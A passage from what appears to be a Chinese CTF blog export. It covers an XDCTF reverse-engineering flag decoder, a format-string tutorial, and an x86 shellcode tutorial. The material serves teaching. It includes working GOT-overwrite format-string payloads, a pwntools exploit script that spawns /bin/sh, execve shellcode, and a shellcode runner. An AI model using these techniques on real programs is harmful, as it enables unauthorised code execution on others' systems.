<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">10000</span>):</span><br><span class="line">    a2 = <span class="built_in">int</span>(<span class="string">&#x27;56451&#x27;</span> + <span class="built_in">str</span>(i))</span><br><span class="line">    <span class="keyword">if</span> a2 % <span class="number">5</span> == <span class="number">3</span> <span class="keyword">and</span> a2 % <span class="number">7</span> == <span class="number">2</span> <span class="keyword">and</span> a2 % <span class="number">13</span> == <span class="number">4</span>:</span><br><span class="line">        <span class="built_in">print</span>(a2)</span><br></pre></td></tr></table></figure>

<p>知道了数字后即可解出flag</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">s = <span class="string">&quot;5D4A4759477D4C6836723437316E3B6E717A787E747F&quot;</span></span><br><span class="line">s1 = <span class="string">&#x27;56451243&#x27;</span></span><br><span class="line">flag = <span class="string">&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(s)//<span class="number">2</span>):</span><br><span class="line">    flag += <span class="built_in">chr</span>(<span class="built_in">int</span>(s[i*<span class="number">2</span>:i*<span class="number">2</span> + <span class="number">2</span>], <span class="number">16</span>) - <span class="built_in">ord</span>(s1[i % <span class="built_in">len</span>(s1)]) + <span class="built_in">ord</span>(<span class="string">&#x27;0&#x27;</span>))</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>flag为：<strong>XDCTF{He1l020l7klttys}</strong></p>
<h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2><p>附件： <a href="pwn2.zip">destory.zip</a></p>
<p>包含idb文件以及题目</p>
]]></content>
      <categories>
        <category>ctf</category>
        <category>xdctf-2017</category>
        <category>reverse</category>
      </categories>
  </entry>
  <entry>
    <title>格式化字符串漏洞</title>
    <url>/technical/binary/pwn/format-string/</url>
    <content><![CDATA[<h2 id="一个坑爹的问题"><a href="#一个坑爹的问题" class="headerlink" title="一个坑爹的问题"></a>一个坑爹的问题</h2><p>这个问题与主题没太大关系，还是提一提吧</p>
<p>在ubuntu16.10后 gcc 编译时默认加上了参数<code>-pie</code>，也就是运行地址随机化，可以更好的抵挡攻击，防pwn，但是出题就比较坑爹了</p>
<p>只需要编译时加上参数<code>-no-pie</code>即可</p>
<h2 id="格式化字符串简介"><a href="#格式化字符串简介" class="headerlink" title="格式化字符串简介"></a>格式化字符串简介</h2><blockquote>
<p>格式化字符串，是一些程序设计语言在格式化输出API函数中用于指定输出参数的格式与相对位置的字符串参数，例如C、C++等程序设计语言的printf类函数，其中的转换说明（conversion specification）用于把随后对应的0个或多个函数参数转换为相应的格式输出；格式化字符串中转换说明以外的其它字符原样输出。</p>
</blockquote>
<p>以上摘自wiki:<a href="https://zh.wikipedia.org/wiki/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2">格式化字符串</a></p>
<p>为了格式化字符串，需要使用占位符用于指明输出的参数值如何格式化。</p>
<p>在c语言中的printf这一大类函数中（包括vprintf，sprintf等），使用%d,%c,%s等占位符对字符串进行格式化  </p>
<p>然而，一些特殊的用法往往被人们忽略了</p>
<span id="more"></span>

<ul>
<li><p>控制输出长度</p>
<p><code>%nx</code>表示按16进制输出，不足n位的话在字符串前面补空格</p>
<p><code>%0nx</code>表示按16进制输出，不足n位的话在字符串前面补空格</p>
<p>其它占位符同理  </p>
</li>
<li><p>指定参数</p>
<p><code>%n$x</code>表示把第n个参数按16进制输出  </p>
<p>注：  </p>
<p>a. 指定参数可以与控制输出长度结合使用，如<code>%n$08x</code> </p>
<p>b. 指定参数不影响正常的输出，若执行<code>printf(&quot;%3$d.%d.%d.%d&quot;, 1, 2, 3);</code>，则输出3.1.2.3</p>
<p>c.在x86下指定参数时printf认为每个参数的长度为4字节，所以在碰上<code>long long</code>这样8字节或者更多的参数时，指定参数可能会出错，需要具体情况具体分析</p>
</li>
<li><p>保存输出字符的个数</p>
<p>可使用%n保存输出字符的个数到变量中</p>
<p><code>printf(&quot;1234%n&quot;, &amp;a)</code>由于输出了4个字符，将4写入a</p>
<p>注:</p>
<p>a.可以与指定参数结合使用</p>
<p>b.后面的参数为变量的地址，而不是变量的本身（好像是废话）</p>
</li>
</ul>
<h2 id="漏洞原因"><a href="#漏洞原因" class="headerlink" title="漏洞原因"></a>漏洞原因</h2><p>在c语言中，往往有输出字符串的场景，当输出一个字符串的一般写法为</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%s&quot;</span>, str);</span><br></pre></td></tr></table></figure>
<p>当一些程序员偷懒后就成为了  </p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span>(str);</span><br></pre></td></tr></table></figure>
<p>若是攻击者掌握了字符串，那么可以利用1中的特殊用法，对你的程序做一些奇怪的事情，从而pwn掉你的程序</p>
<h2 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h2><p>由1可知道，%n可以写入数据，%nc等用法可以控制输出字符的长度从而控制数据的数值，结合指定参数，便可以对4字节内存进行读写</p>
<p>下面以一个题为例来说明  </p>
<p>题目源码以及elf文件在文末附件中</p>
<p>丢进ida后明显可以看到</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">read(<span class="number">0</span>, &amp;s, <span class="number">0x3FF</span>u);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;Haha, your input is:&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(&amp;s);</span><br></pre></td></tr></table></figure>
<p>明显的一个格式化字符串漏洞</p>
<p>又看到</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">getflag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>发现没有地方调用getflag，考虑修改got表将下面的strlen的函数地址改为getflag的地址（其实不给getflag函数也可以做到，先考虑简单情况）。</p>
<p>首先先查询str相当于printf的第几个参数</p>
<p>命令中输入</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">(python -c <span class="string">&quot;print(&#x27;aaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x&#x27;)&quot;</span>;)|./repeat</span><br></pre></td></tr></table></figure>
<p>执行后结果为</p>
<p><img data-src="/technical/binary/pwn/format-string/img/1.png" alt="result"> </p>
<p>a对应的16进制ascii码为<code>61</code>，由此可以看出第4个参数为str</p>
<p>执行下列语句</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">(python -c <span class="string">&quot;print(&#x27;aaaa.%4\$08x&#x27;)&quot;</span>;)|./repeat</span><br></pre></td></tr></table></figure>
<p>结果为</p>
<p><img data-src="/technical/binary/pwn/format-string/img/2.png" alt="shell"></p>
<p>验证自己的语句为正确的</p>
<p>注:</p>
<ol>
<li>在python中$需要使用\进行转义输出，应为<code>\$</code></li>
<li>python3全体都是unicode，对于一些不可见字符的处理存在问题，故使用python进行操作</li>
</ol>
<p>既然知道了位置，便可着手写poc了，本文将介绍2种方法</p>
<h2 id="原始的计算法"><a href="#原始的计算法" class="headerlink" title="原始的计算法"></a>原始的计算法</h2><p>打开终端，输入</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">readelf -r repeat | grep strlen</span><br></pre></td></tr></table></figure>
<p>结果为</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">0804a01c  00000607 R386JUMP_SLOT   00000000   strlen@GLIBC_2.0</span><br></pre></td></tr></table></figure>

<p>可以看出strlen在got表中的位置为 <strong>0x0804a01c</strong></p>
<p>注:</p>
<ol>
<li>readelf命令可以查看elf文件信息，-r表示显示可重定位段的信息</li>
<li>程序执行动态链接库的函数时，先跳转到plt表，然后跳转到got表</li>
</ol>
<p>ida可以看到下图</p>
<p><img data-src="/technical/binary/pwn/format-string/img/3.png" alt="asm"></p>
<p>可以得知getflag的地址为 <strong>0x0804853b</strong></p>
<p>接下来构造字符串更改strlen函数地址即可</p>
<p>输入如下命令</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">(python -c <span class="string">&quot;print(&#x27;\x1c\xa0\x04\x08\x1d\xa0\x04\x08\x1e\xa0\x04\x08%47c%4\$hhn%74c%5\$hhn%1919c%6\$hn&#x27;)&quot;</span>;<span class="built_in">cat</span>) | ./repeat</span><br></pre></td></tr></table></figure>
<p>即拿到shell</p>
<p>注:</p>
<ol>
<li>%n写入4字节，%hn写入2字节，%hhn写入1字节</li>
<li>由于需要写入<code>0x0804853b</code>，数据过大，分成三次写入，分别写入0x3b， 0x85, 0x0804（否则会输出时间过长，甚至段错误）</li>
<li>后面的数值可以自己计算，写入0x3b就应该保证前面输出了0x3b个字符，由于前面已经输出了12个字符，剩下只需要再输出0x3b - 12 &#x3D; 47个字符。在需要写入0x85时只需要再输出0x85 - 0x3b &#x3D; 74个字符，下面的同理</li>
</ol>
<h2 id="使用pwntools"><a href="#使用pwntools" class="headerlink" title="使用pwntools"></a>使用pwntools</h2><h3 id="比较原始的方法"><a href="#比较原始的方法" class="headerlink" title="比较原始的方法"></a>比较原始的方法</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python2</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*- #</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#初始化变量 获取数据</span></span><br><span class="line">r_program = process(<span class="string">&#x27;./repeat&#x27;</span>)</span><br><span class="line">program = ELF(<span class="string">&#x27;pwn8&#x27;</span>)</span><br><span class="line">got_printf = program.got[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">program_getflag = program.symbols[<span class="string">&#x27;getflag&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">#构造shellcode 需要将地址分2次写入</span></span><br><span class="line">shellcode = <span class="string">&#x27;&#x27;</span></span><br><span class="line">shellcode += p32(got_printf)</span><br><span class="line">shellcode += p32(got_printf + <span class="number">2</span>)</span><br><span class="line">high4 = program_getflag / <span class="number">0x10000</span></span><br><span class="line">low4 = program_getflag % <span class="number">0x10000</span></span><br><span class="line">shellcode += <span class="string">&#x27;%&#x27;</span> + <span class="built_in">str</span>(low4 - <span class="number">8</span>) +<span class="string">&#x27;c%4$hn&#x27;</span></span><br><span class="line">shellcode += <span class="string">&#x27;%&#x27;</span> + <span class="built_in">str</span>(<span class="number">0x10000</span> + high4 - low4) +<span class="string">&#x27;c%5$hn&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#发送shellcode</span></span><br><span class="line">r_program.sendline(shellcode)</span><br><span class="line">r_program.interactive()</span><br></pre></td></tr></table></figure>
<h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2><p>附件： <a href="pwn8.zip">pwn8.zip</a></p>
]]></content>
      <categories>
        <category>technical</category>
        <category>binary</category>
        <category>pwn</category>
      </categories>
  </entry>
  <entry>
    <title>Linux 加载动态链接库原理分析</title>
    <url>/technical/binary/pwn/load-so/</url>
    <content><![CDATA[<p>挖坑待填</p>
<h2 id="从指定目录加载动态链接库"><a href="#从指定目录加载动态链接库" class="headerlink" title="从指定目录加载动态链接库"></a>从指定目录加载动态链接库</h2><p>只需要设置 <strong>LD_LIBRARY_PATH</strong> 这个环境变量即可</p>
<p>若是希望后面的程序都优先从该目录加载，可以执行下面的命令</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">export LD_LIBRARY_PATH=/home/plusls/Desktop:$LD_LIBRARY_PATH</span><br></pre></td></tr></table></figure>

<span id="more"></span>

<p>其中 <strong>&#x2F;home&#x2F;plusls&#x2F;Desktop</strong> 为so文件所在的目录</p>
<p><strong>注：这样设置后 pwntools 起的进程也会继承该环境变量，加载此libc</strong></p>
]]></content>
      <categories>
        <category>technical</category>
        <category>binary</category>
        <category>pwn</category>
      </categories>
  </entry>
  <entry>
    <title>ret2_dl_runtime_resolve</title>
    <url>/technical/binary/pwn/ret2_dl_runtime_resolve/</url>
    <content><![CDATA[<h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2><p>ret2_dl_runtime_resolve: <a href="https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/advanced_rop/">https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/advanced_rop&#x2F;</a></p>
<span id="more"></span>
]]></content>
      <categories>
        <category>technical</category>
        <category>binary</category>
        <category>pwn</category>
      </categories>
  </entry>
  <entry>
    <title>shellcode</title>
    <url>/technical/binary/pwn/shellcode/</url>
    <content><![CDATA[<p>在pwn的过程中常常需要通过自己写shellcode来获取shell，本文将介绍几种简单的shellcode<br>注：本文以x86为基础</p>
<h2 id="调用系统函数"><a href="#调用系统函数" class="headerlink" title="调用系统函数"></a>调用系统函数</h2><p>在开始写shellcode时，首先需要想到，我应该如何调用shell呢？</p>
<p>在写C语言中，通常我们需要调用</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">system(<span class="string">&quot;/bin/sh&quot;</span>)</span><br></pre></td></tr></table></figure>
<p>从而获得shell</p>
<p>在写汇编时，有时候并不需要这么做</p>
<h3 id="linux"><a href="#linux" class="headerlink" title="linux"></a>linux</h3><p>在使用linux时写汇编时完全不必再去libc寻找system函数，然后传递参数并且call system，只需要使用 <strong>系统调用</strong></p>
<span id="more"></span>

<p>先看一段引自wiki的介绍</p>
<blockquote>
<p>system call is the programmatic way in which a computer program requests a service from the kernel of the operating system it is executed on.</p>
</blockquote>
<p>简单来讲，系统调用就是其实就是调用函数，而这个调用和call又有所区别，它执行的代码不在你的程序中，而在系统的内核空间中。系统调用包含了 <strong>文件读写，运行程序，获取时间等</strong> 一系列和系统有关的函数。若是在写C语言时调用这些函数，生成的汇编代码往往是到libc等库中找到程序地址，传递参数，再call其地址，而系统调用并不需要如此的麻烦，只需要用系统中断以及结合寄存器进行传参</p>
<p>系统调用主要有以下内容</p>
<h4 id="int-0x80-与-syscall"><a href="#int-0x80-与-syscall" class="headerlink" title="int 0x80 与 syscall"></a>int 0x80 与 syscall</h4><p>若是需要系统调用，只需要在汇编中加入一句： <strong>int 0x80</strong> ，这将告诉CPU，现在要进行一次中断从用户态进入内核态（我也不知道这是啥），而 <strong>0x80</strong> 表示中断编号，意味着告诉内核 <strong>程序要进行系统调用</strong></p>
<p>若是在 x64 下 则 应将 <strong>0x80</strong> 替换为 <strong>syscall</strong></p>
<h4 id="系统调用编号"><a href="#系统调用编号" class="headerlink" title="系统调用编号"></a>系统调用编号</h4><p>在linux中存在着许多系统调用，为了区分请求的API，内核开发者给每个系统调用都分配了一个系统调用号，调用时需要将系统调用号储存在EAX寄存器中，例如要调用 <strong>sys_write</strong> ，其系统调用号为4，则需要</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">xxxxxxxx</span><br><span class="line">;传递系统调用号 这样写比mov eax,0x4更短</span><br><span class="line">xor eax,eax</span><br><span class="line">mov al,0x4</span><br><span class="line">int 0x80</span><br></pre></td></tr></table></figure>
<h4 id="传递参数"><a href="#传递参数" class="headerlink" title="传递参数"></a>传递参数</h4><p>系统调用时传递参数通常有2种方式，在参数小于等于5个时使用，EBX，ECX，EDX，ESI，EDI这5个寄存器，若是参数大于5个，则需要为EBX提供一个存放参数的内存的地址，还是以<code>sys_write</code>为例子<br>查阅文档可以知道，其C函数声明为</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">write</span><span class="params">(<span class="type">int</span> fd, <span class="type">const</span> <span class="type">void</span> *buf, <span class="type">size_t</span> count)</span>;</span><br></pre></td></tr></table></figure>
<p>所以调用时的汇编代码为</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">;字符串&#x27;abc&#x27;入栈</span><br><span class="line">push 0x636261</span><br><span class="line">;传递字符串地址</span><br><span class="line">mov ecx,esp</span><br><span class="line">;标准输出为1</span><br><span class="line">xor ebx,ebx</span><br><span class="line">mov bl,0x1</span><br><span class="line">;长度3</span><br><span class="line">xor edx,edx</span><br><span class="line">mov dl,0x3</span><br><span class="line">;传递系统调用号</span><br><span class="line">xor eax,eax</span><br><span class="line">mov al,0x4</span><br><span class="line">int 0x80</span><br></pre></td></tr></table></figure>
<h3 id="windows"><a href="#windows" class="headerlink" title="windows"></a>windows</h3><p>这个我也不会，挖坑待填</p>
<h2 id="确定参数地址"><a href="#确定参数地址" class="headerlink" title="确定参数地址"></a>确定参数地址</h2><p>系统调用时传递参数往往需要使用内存地址，通常情况下程序都会开启alsr，显然参数的地址大多数情况下是动态的（除了全局变量），这时候需要利用一些汇编指令获得地址</p>
<h3 id="push"><a href="#push" class="headerlink" title="push"></a>push</h3><p>在汇编中</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">push xxx</span><br></pre></td></tr></table></figure>
<p>上面的代码意味着将 <strong>xxx</strong> 入栈，并且esp减4，并且push后esp正好对应xxx的内存地址，于是有如下方法</p>
<p>假设要向栈中放入 <strong>&#x2F;bin&#x2F;sh</strong> 字符串，并且将其地址赋给ebx</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">;/sh</span><br><span class="line">push 0x68732f</span><br><span class="line">;/bin</span><br><span class="line">push 0x6e69622f</span><br><span class="line">mov ebx,esp</span><br></pre></td></tr></table></figure>
<p>这样以来ebx的值便是 <strong>&#x2F;bin&#x2F;sh</strong> 的地址了</p>
<h3 id="call"><a href="#call" class="headerlink" title="call"></a>call</h3><p>在程序执行call时，会将下一条指令的地址入栈然后跳转到要执行的地方，若是程序在栈上执行，则可以利用call获得地址</p>
<p>注:call的字节码为 <strong>e8 ab cd ef gh</strong> ,其中 <strong>ghefcdab</strong> 是 <strong>要跳转到的地址 - call后执行的下一条指令的地址</strong></p>
<p>还是以 <strong>&#x2F;bin&#x2F;sh</strong> 为例</p>
<p><strong>\xe8\x08\x00\x00\x00&#x2F;bin&#x2F;sh\x00</strong></p>
<p>注：我实在不知道该如何表达，这是下面的汇编指令的前面的字节码</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pop ebx</span><br></pre></td></tr></table></figure>

<h2 id="shellcode"><a href="#shellcode" class="headerlink" title="shellcode"></a>shellcode</h2><p>由前面的2种确定地址的方式，最终可以写出2种shellcode</p>
<p>注：在这里以linux为例子，这只是最简单的shellcode</p>
<h3 id="使用push"><a href="#使用push" class="headerlink" title="使用push"></a>使用push</h3><p>注：本文用pwntools生成字节码</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">shellcode = asm(</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">push 0x68732f</span></span><br><span class="line"><span class="string">push 0x6e69622f</span></span><br><span class="line"><span class="string">mov ebx,esp</span></span><br><span class="line"><span class="string">xor ecx,ecx</span></span><br><span class="line"><span class="string">xor eax,eax</span></span><br><span class="line"><span class="string">mov al,0xb</span></span><br><span class="line"><span class="string">int 0x80</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">)</span><br></pre></td></tr></table></figure>
<h3 id="使用call"><a href="#使用call" class="headerlink" title="使用call"></a>使用call</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">shellcode = <span class="string">&#x27;\xe8\x08\x00\x00\x00/bin/sh\x00&#x27;</span></span><br><span class="line">shellcode += asm(</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">pop ebx</span></span><br><span class="line"><span class="string">xor eax,eax</span></span><br><span class="line"><span class="string">xor ecx,ecx</span></span><br><span class="line"><span class="string">mov al,0xb</span></span><br><span class="line"><span class="string">int 0x80</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">)</span><br></pre></td></tr></table></figure>


<h2 id="测试shellcode"><a href="#测试shellcode" class="headerlink" title="测试shellcode"></a>测试shellcode</h2><p>在编写完成后，有时需要对shellcode进行一些测试，这时有多种方法</p>
<h3 id="C写的shellcode测试器"><a href="#C写的shellcode测试器" class="headerlink" title="C写的shellcode测试器"></a>C写的shellcode测试器</h3><p>源码直接给出，忘了从哪看到的了</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/types.h&gt;</span>  </span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/stat.h&gt;</span>  </span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span>  </span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span>  </span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/mman.h&gt;</span>  </span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;errno.h&gt;</span>  </span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span>  </span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span>  </span></span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line"><span class="type">char</span> code[<span class="number">4096</span>] __attribute__((aligned(<span class="number">4096</span>)));  </span><br><span class="line">  </span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> *argv[])</span>  </span><br><span class="line">&#123;  </span><br><span class="line">    <span class="type">int</span> fd;  </span><br><span class="line">    <span class="type">int</span> ret;  </span><br><span class="line">    <span class="type">void</span> (*func)(<span class="type">void</span>);  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">if</span> (argc != <span class="number">2</span>) &#123;  </span><br><span class="line">        <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;\n\tUsage: sctest &lt;shellcode&gt;\n\n&quot;</span>);  </span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    fd = open(argv[<span class="number">1</span>], O_RDONLY);  </span><br><span class="line">    <span class="keyword">if</span> (!fd) &#123;  </span><br><span class="line">        <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Unable open file %s, err = %d(%m)\n&quot;</span>, argv[<span class="number">1</span>], errno);  </span><br><span class="line">        <span class="keyword">return</span> <span class="number">2</span>;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    ret = read(fd, code, <span class="keyword">sizeof</span>(code));  </span><br><span class="line">    <span class="keyword">if</span> (ret &lt; <span class="number">0</span>) &#123;  </span><br><span class="line">        <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Unable read file %s, err = %d(%m)\n&quot;</span>, argv[<span class="number">1</span>], errno);  </span><br><span class="line">        <span class="keyword">return</span> <span class="number">3</span>;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    ret = mprotect(code, <span class="keyword">sizeof</span>(code), PROT_EXEC);  </span><br><span class="line">    <span class="keyword">if</span> (ret &lt; <span class="number">0</span>) &#123;  </span><br><span class="line">        <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Unable mprotect, err = %d(%m)\n&quot;</span>, errno);  </span><br><span class="line">        <span class="keyword">return</span> <span class="number">4</span>;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/* execute shell code */</span>  </span><br><span class="line">    func = (<span class="type">void</span> (*)(<span class="type">void</span>))code;  </span><br><span class="line">    func();  </span><br><span class="line">    <span class="built_in">abort</span>();      </span><br><span class="line">&#125;  </span><br></pre></td></tr></table></figure>



<h3 id="pwntools"><a href="#pwntools" class="headerlink" title="pwntools"></a>pwntools</h3><p><strong>这个貌似只能测试linux下的</strong></p>
<p><strong>例：</strong></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>shellcode = asm(</span><br><span class="line"><span class="meta">... </span><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string"><span class="meta">... </span>push 0x68732f</span></span><br><span class="line"><span class="string"><span class="meta">... </span>push 0x6e69622f</span></span><br><span class="line"><span class="string"><span class="meta">... </span>mov ebx,esp</span></span><br><span class="line"><span class="string"><span class="meta">... </span>xor ecx,ecx</span></span><br><span class="line"><span class="string"><span class="meta">... </span>xor eax,eax</span></span><br><span class="line"><span class="string"><span class="meta">... </span>mov al,0xb</span></span><br><span class="line"><span class="string"><span class="meta">... </span>int 0x80</span></span><br><span class="line"><span class="string"><span class="meta">... </span>&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="meta">... </span>)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>p = run_shellcode(shellcode)</span><br><span class="line">[*] <span class="string">&#x27;/tmp/pwn-asm-0KtoGK/step3-elf&#x27;</span></span><br><span class="line">    Arch:     i386-<span class="number">32</span>-little</span><br><span class="line">    RELRO:    No RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX disabled</span><br><span class="line">    PIE:      No PIE (<span class="number">0x8049000</span>)</span><br><span class="line">    RWX:      Has RWX segments</span><br><span class="line">[x] Starting local process <span class="string">&#x27;/tmp/pwn-asm-0KtoGK/step3-elf&#x27;</span></span><br><span class="line">[+] Starting local process <span class="string">&#x27;/tmp/pwn-asm-0KtoGK/step3-elf&#x27;</span>: pid <span class="number">60022</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>p.sendline(<span class="string">&#x27;pwd&#x27;</span>)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">print</span>(p.recv())</span><br><span class="line">/home/plusls</span><br><span class="line"></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>p.sendline(<span class="string">&#x27;exit&#x27;</span>)</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>p.poll()</span><br><span class="line">[*] Process <span class="string">&#x27;/tmp/pwn-asm-0KtoGK/step3-elf&#x27;</span> stopped <span class="keyword">with</span> exit code <span class="number">0</span> (pid <span class="number">60022</span>)</span><br><span class="line"><span class="number">0</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span></span><br></pre></td></tr></table></figure>

<p> <strong>run_assembly</strong> 同理，将参数换为汇编文本即可</p>
<p>以及<strong>run_shellcode_exitcode</strong> ，<strong>run_assembly_exitcode</strong> 可以等待 shellcode 执行完毕 返回其返回值</p>
<h2 id="更骚的操作"><a href="#更骚的操作" class="headerlink" title="更骚的操作"></a>更骚的操作</h2><p>有时候一些漏洞会对输入进行过滤，此时需要对shellcode进行一些魔改</p>
<p><strong>挖坑待填</strong></p>
<h2 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h2><p>最后，便留个思考题吧，如何不用<code>[]()&#123;&#125;&lt;&gt;</code>写一个输出<code>Hello World</code>的程序呢？<br>提示：编译时64位机器需要加上<code>-m32</code></p>
<h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2><p>x86系统调用查询：<a href="http://syscalls.kernelgrok.com/">http://syscalls.kernelgrok.com/</a></p>
<p>x64系统调用查询：<a href="http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/">http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64&#x2F;</a></p>
]]></content>
      <categories>
        <category>technical</category>
        <category>binary</category>
        <category>pwn</category>
      </categories>
  </entry>
  <entry>
    <title>不用[](){}&lt;&gt;写一个Hello World程序</title>
    <url>/technical/binary/pwn/write-helloworld-without-bracket/</url>
    <content><![CDATA[<p>不用<a href=""></a>{}&lt;&gt;写一个Hello World程序，本方法基于gcc的编译器</p>
<h2 id="C语言中的函数"><a href="#C语言中的函数" class="headerlink" title="C语言中的函数"></a>C语言中的函数</h2><p>在C语言中，一个函数其实可以看做一个变量，假设如今定义了如下函数</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">fun</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>则 <strong>&amp;fun</strong> 将会像普通变量一样取得这个函数所在的地址</p>
<h2 id="gcc下main函数调用机制"><a href="#gcc下main函数调用机制" class="headerlink" title="gcc下main函数调用机制"></a>gcc下main函数调用机制</h2><p>一个程序，其实并不是以main为开始，而是以start函数为开始</p>
<p>随便将一个ELF文件拖入ida可以看见</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:00000000004006E0 _start          proc near               ; DATA XREF: LOAD:0000000000400018↑o</span><br><span class="line">.text:00000000004006E0 ; __unwind &#123;</span><br><span class="line">.text:00000000004006E0                 xor     ebp, ebp</span><br><span class="line">.text:00000000004006E2                 mov     r9, rdx         ; rtld_fini</span><br><span class="line">.text:00000000004006E5                 pop     rsi             ; argc</span><br><span class="line">.text:00000000004006E6                 mov     rdx, rsp        ; ubp_av</span><br><span class="line">.text:00000000004006E9                 and     rsp, 0FFFFFFFFFFFFFFF0h</span><br><span class="line">.text:00000000004006ED                 push    rax</span><br><span class="line">.text:00000000004006EE                 push    rsp             ; stack_end</span><br><span 